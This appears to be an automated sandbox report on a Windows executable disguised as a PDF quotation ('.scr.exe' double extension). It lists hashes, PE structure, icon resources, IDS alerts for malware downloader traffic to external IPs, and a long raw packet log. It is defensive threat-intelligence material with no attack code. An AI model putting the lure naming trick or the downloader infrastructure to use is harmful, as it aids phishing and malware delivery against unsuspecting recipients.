TrID:	Win64 Executable GUI Net Framework (217006/5) 49.88% Win64 Executable GUI (202006/5) 46.43% Win64 Executable (generic) (12005/4) 2.76% Generic Win/DOS Executable (2004/3) 0.46% DOS Executable Generic (2002/1) 0.46%
File name:	QUOTATION_NOVQTRA071244PDF.scr.exe
File size:	339'456 bytes
MD5:	5287698c5838c217c8330670920d1f22
SHA1:	61d94cd397d56e87a13207f680f88fdf829eef71
SHA256:	852c78744e828250542bb9ddf2d7f2797c5613d2ab69cbd0faff944469d2c03b
SHA512:	4a2a295344a3842c9913e7fc0050b53cbb2733fd91019136212f9094351daf4bdac9ad3bdd989b19fbb186bd21404153ac96847269b1b988b70aa9a60f7d9d19
SSDEEP:	768:gl7ult3Qg2ZzEjss2VSg1I1cn0sspAgpq8hLyg1uMN0+dzsRs+eEH:+uLQ7qPpqOLy0uyL+fH
TLSH:	E574DA5A7A74A132ED00CA3419F69E15D2DBEE6C2BE0551D24C8F66D1B322FE8F079C1
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d....M<g.........."...................... ....@...... .......................`............`...@......@............... .....

File Icon


Icon Hash:	0e3333b0bbb3b035

Static PE Info

General

Entrypoint:	0x400000
Entrypoint Section:
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x673C4D99 [Tue Nov 19 08:34:33 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:

Entrypoint Preview

Instruction
dec ebp
pop edx
nop
add byte ptr [ebx], al
add byte ptr [eax], al
add byte ptr [eax+eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x4000	0x51a36	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2000	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xf64	0x1000	b20118d8703552eebb902f8468080055	False	0.580810546875	data	5.475520620642078	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x4000	0x51a36	0x51c00	71d627b1a12a8b73f219ba4d9e2e6024	False	0.071220374617737	data	2.3495579104603954	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0x4370	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	0.7601351351351351
RT_ICON	0x4498	0x368	Device independent bitmap graphic, 16 x 32 x 24, image size 832	0.7155963302752294
RT_ICON	0x4800	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	0.6826241134751773
RT_ICON	0x4c68	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640	0.5389784946236559
RT_ICON	0x4f50	0xca8	Device independent bitmap graphic, 32 x 64 x 24, image size 3200	0.470679012345679
RT_ICON	0x5bf8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	0.4378517823639775
RT_ICON	0x6ca0	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1536	0.36402439024390243
RT_ICON	0x7308	0x1ca8	Device independent bitmap graphic, 48 x 96 x 24, image size 7296	0.33110687022900764
RT_ICON	0x8fb0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	0.30881742738589213
RT_ICON	0xb558	0xa68	Device independent bitmap graphic, 64 x 128 x 4, image size 2560	0.2924174174174174
RT_ICON	0xbfc0	0x3228	Device independent bitmap graphic, 64 x 128 x 24, image size 12800	0.26580996884735203
RT_ICON	0xf1e8	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 0	0.24244213509683515
RT_ICON	0x13410	0x42028	Device independent bitmap graphic, 256 x 512 x 32, image size 0	0.014139568600763382
RT_GROUP_ICON	0x55438	0xbc	data	0.5797872340425532
RT_VERSION	0x554f4	0x358	data	0.4158878504672897
RT_MANIFEST	0x5584c	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.5489795918367347

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-20T08:19:00.694601+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49739	193.122.6.168	80	TCP
2024-11-20T08:19:01.944617+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49739	193.122.6.168	80	TCP
2024-11-20T08:19:02.546000+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49741	188.114.97.3	443	TCP
2024-11-20T08:19:03.257175+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49742	193.122.6.168	80	TCP
2024-11-20T08:19:03.803744+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49744	188.114.97.3	443	TCP
2024-11-20T08:19:04.632112+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49745	193.122.6.168	80	TCP
2024-11-20T08:19:05.913370+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49758	193.122.6.168	80	TCP
2024-11-20T08:19:07.194701+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49765	193.122.6.168	80	TCP
2024-11-20T08:19:08.444614+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49775	193.122.6.168	80	TCP
2024-11-20T08:19:09.913364+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49781	193.122.6.168	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 20, 2024 08:18:10.176616907 CET	49730	80	192.168.2.4	188.114.96.3
Nov 20, 2024 08:18:10.181931019 CET	80	49730	188.114.96.3	192.168.2.4
Nov 20, 2024 08:18:10.182008982 CET	49730	80	192.168.2.4	188.114.96.3
Nov 20, 2024 08:18:10.185219049 CET	49730	80	192.168.2.4	188.114.96.3
Nov 20, 2024 08:18:10.190500021 CET	80	49730	188.114.96.3	192.168.2.4
Nov 20, 2024 08:18:10.839596987 CET	80	49730	188.114.96.3	192.168.2.4
Nov 20, 2024 08:18:10.848275900 CET	49731	443	192.168.2.4	188.114.96.3
Nov 20, 2024 08:18:10.848325014 CET	443	49731	188.114.96.3	192.168.2.4
Nov 20, 2024 08:18:10.848445892 CET	49731	443	192.168.2.4	188.114.96.3
Nov 20, 2024 08:18:10.870280027 CET	49731	443	192.168.2.4	188.114.96.3
Nov 20, 2024 08:18:10.870309114 CET	443	49731	188.114.96.3	192.168.2.4
Nov 20, 2024 08:18:10.882021904 CET	49730	80	192.168.2.4	188.114.96.3
Nov 20, 2024 08:18:11.332837105 CET	443	49731	188.114.96.3	192.168.2.4
Nov 20, 2024 08:18:11.333009958 CET	49731	443	192.168.2.4	188.114.96.3
Nov 20, 2024 08:18:11.439399004 CET	49731	443	192.168.2.4	188.114.96.3
Nov 20, 2024 08:18:11.439434052 CET	443	49731	188.114.96.3	192.168.2.4
Nov 20, 2024 08:18:11.439801931 CET	443	49731	188.114.96.3	192.168.2.4
Nov 20, 2024 08:18:11.491405964 CET	49731	443	192.168.2.4	188.114.96.3
Nov 20, 2024 08:18:11.868544102 CET	49731	443	192.168.2.4	188.114.96.3
Nov 20, 2024 08:18:11.915328979 CET	443	49731	188.114.96.3	192.168.2.4
Nov 20, 2024 08:18:12.405677080 CET	443	49731	188.114.96.3	192.168.2.4
Nov 20, 2024 08:18:12.405788898 CET	443	49731	188.114.96.3	192.168.2.4
Nov 20, 2024 08:18:12.405847073 CET	49731	443	192.168.2.4	188.114.96.3
Nov 20, 2024 08:18:12.422071934 CET	49731	443	192.168.2.4	188.114.96.3
Nov 20, 2024 08:18:12.432890892 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:12.432926893 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:12.432998896 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:12.433376074 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:12.433387995 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:12.896711111 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:12.896833897 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:12.899857044 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:12.899868011 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:12.900151014 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:12.901318073 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:12.947335958 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.681066990 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.681133032 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.681164980 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.681181908 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:13.681199074 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.681238890 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.681238890 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:13.681252003 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.681304932 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:13.681313992 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.681613922 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.681658030 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:13.681667089 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.685940981 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.685973883 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.686002016 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.686013937 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:13.686022043 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.686048985 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:13.725754023 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:13.769526958 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.769608974 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.769649029 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.769670963 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:13.769685984 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.769737005 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:13.769812107 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.769876957 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.769917965 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:13.769923925 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.770394087 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.770437002 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:13.770438910 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.770457029 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.770503044 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:13.770510912 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.771262884 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.771298885 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.771316051 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:13.771323919 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.771358967 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:13.771365881 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.772105932 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.772147894 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.772151947 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:13.772160053 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.772195101 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:13.772201061 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.772231102 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.772269964 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:13.772275925 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.772994041 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.773030043 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.773034096 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:13.773041964 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.773076057 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:13.858154058 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.858242989 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.858275890 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.858299017 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:13.858316898 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.858356953 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.858359098 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:13.858453035 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.858500004 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:13.858515978 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.858552933 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:13.859051943 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.859107971 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:13.859263897 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.859324932 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:13.859828949 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.859874964 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:13.859954119 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.860004902 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:13.860671043 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.860718012 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:13.860881090 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.860928059 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:13.861094952 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.861141920 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:13.861629963 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.861680984 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:13.861860037 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.861905098 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:13.862555981 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.862603903 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:13.862819910 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.862865925 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:13.863578081 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.863626003 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:13.946918011 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.946965933 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.946995974 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:13.947017908 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.947035074 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:13.947060108 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:13.947283983 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.947325945 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.947328091 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:13.947336912 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.947361946 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:13.947382927 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:13.947702885 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.947751999 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.947760105 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:13.947766066 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.947781086 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.947791100 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:13.947805882 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:13.947809935 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.947834969 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:13.948427916 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.948467016 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.948479891 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:13.948487997 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.948503017 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.948507071 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:13.948537111 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.948549032 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:13.948554039 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.948575974 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:13.949279070 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.949316025 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.949331045 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:13.949338913 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.949350119 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.949367046 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:13.949379921 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.949390888 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:13.949397087 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.949424982 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:13.950139046 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.950179100 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.950181007 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:13.950191975 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.950221062 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:13.950232983 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.950259924 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.950275898 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:13.950283051 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.950299025 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:13.951246023 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.951292038 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:13.951298952 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.951338053 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:13.951667070 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.951700926 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.951711893 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:13.951716900 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.951736927 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:13.951752901 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:13.951848030 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.951884985 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.951894045 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:13.951900005 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.951927900 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:13.951940060 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:13.952328920 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.952363968 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.952373981 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:13.952379942 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:13.952405930 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:13.952425957 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.035536051 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.035559893 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.035613060 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.035629034 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.035653114 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.035662889 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.036197901 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.036241055 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.036262989 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.036268950 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.036297083 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.036696911 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.036714077 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.036767960 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.036777020 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.037470102 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.037486076 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.037519932 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.037528992 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.037555933 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.038420916 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.038434982 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.038471937 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.038479090 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.038505077 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.039424896 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.039439917 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.039485931 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.039494991 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.041311979 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.041326046 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.041366100 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.041372061 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.041408062 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.041800022 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.041815996 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.041851044 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.041858912 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.041884899 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.085109949 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.124294043 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.124317884 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.124398947 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.124418974 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.124471903 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.124931097 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.124948025 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.124996901 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.125005007 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.125026941 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.125046968 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.125705004 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.125720978 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.125761986 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.125768900 CET	443	49732	188.114.97.3	192.168.2.4
Nov 20, 2024 08:18:14.125796080 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.125814915 CET	49732	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:18:14.126338005 CET	443	49732	188.114.97.3	192.168.2.4
